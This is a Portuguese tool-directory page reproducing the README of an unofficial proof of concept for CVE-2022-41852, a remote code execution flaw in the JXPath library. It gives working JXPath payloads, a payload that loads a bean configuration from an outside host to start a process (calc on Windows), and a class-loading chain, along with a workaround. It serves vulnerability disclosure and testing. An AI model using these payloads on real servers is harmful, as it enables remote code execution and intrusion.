Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-41852 — CVE-2022-41852 Prova de Conceito (não oficial) | Kitploit
Ferramentas/GitHubGitHub/warxim/cve-2022-41852
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubwarxim/cve-2022-41852

CVE-2022-41852

CVE-2022-41852 Prova de Conceito (não oficial)

Ver Repositório
74152há 3 anosRevisado pelo Kitploit
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Prova de Conceito de Execução Remota de Código na Biblioteca JXPath (CVE-2022-41852)

CVE-2022-41852 permite que invasores executem código no servidor de aplicações.

Você pode ler mais sobre esta vulnerabilidade aqui:

  • https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

Nota: Não sou autor desta CVE. Apenas criei esta prova de conceito.

Links Úteis

  • JXPath GitHub
  • JXPath Website
  • MITRE CVE-2022-41852
  • NIST CVE-2022-41852

Descrição da Vulnerabilidade

A biblioteca JXPath suporta a execução de funções em expressões XPath (veja o Guia Oficial do Usuário).

Por exemplo, os métodos JXPathContext.getValue(path) e JXPathContext.iterate(path) são perigosos se você permitir que o usuário envie entrada no parâmetro path.

Baixar ferramenta

Descrição da PoC

Esta PoC inicia um servidor Spring simples com dois endpoints:

  • /vulnerable-example?path=[path]
  • /secure-example?path=[path]

Estes endpoints têm apenas um parâmetro de consulta "path".

URLs de Requisição Possíveis

As seguintes requisições funcionarão normalmente (não causarão problemas):

  • http://localhost:8080/secure-example?path=name
  • http://localhost:8080/secure-example?path=website
  • http://localhost:8080/secure-example?path=/
  • http://localhost:8080/vulnerable-example?path=name
  • http://localhost:8080/vulnerable-example?path=website
  • http://localhost:8080/vulnerable-example?path=/

As seguintes requisições farão com que o código seja executado:

  • http://localhost:8080/vulnerable-example?path=java.lang.System.exit(42)
  • http://localhost:8080/vulnerable-example?path=java.lang.Thread.sleep(10000)

Exemplos de Payloads

Exemplos de payloads para detectar CVE-2022-41852:

  • java.lang.System.exit(42)
  • java.lang.Thread.sleep(10000)
  • /|java.lang.System.exit(42)
  • |java.lang.System.exit(42)

Pode haver várias maneiras de executar comandos. Uma delas é usar o ClassPathXmlApplicationContext do Spring:

  • org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")

No arquivo XML, você pode definir a configuração do bean, por exemplo, pode criar uma instância de ProcessBuilder e executar o comando especificado no servidor inicializando o bean usando o método start(). No exemplo a seguir, a calculadora será aberta em uma máquina Windows:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Há também uma maneira de carregar novas classes percorrendo o bean de contexto, por exemplo, o seguinte código carregará a classe com.warxim.dangerous.DangerousClass, criará sua instância e chamará o método run("warxim"):

root@kitploit:~
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);

Observe que temos que chamar os métodos do objeto colocando o objeto que os contém como primeiro parâmetro.

Solução Alternativa para CVE-2022-41852

É possível desabilitar funções no JXPathContext definindo o campo functions como FunctionLibrary vazio.

root@kitploit:~
// Create path context for person object
var pathContext = JXPathContext.newContext(person);

// Set empty function library
pathContext.setFunctions(new FunctionLibrary());

// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);

Nota: Isso desabilitará todas as funções, portanto, até funções como size() não estarão disponíveis.

Correção

A correção está sendo desenvolvida, veja https://github.com/apache/commons-jxpath/pull/26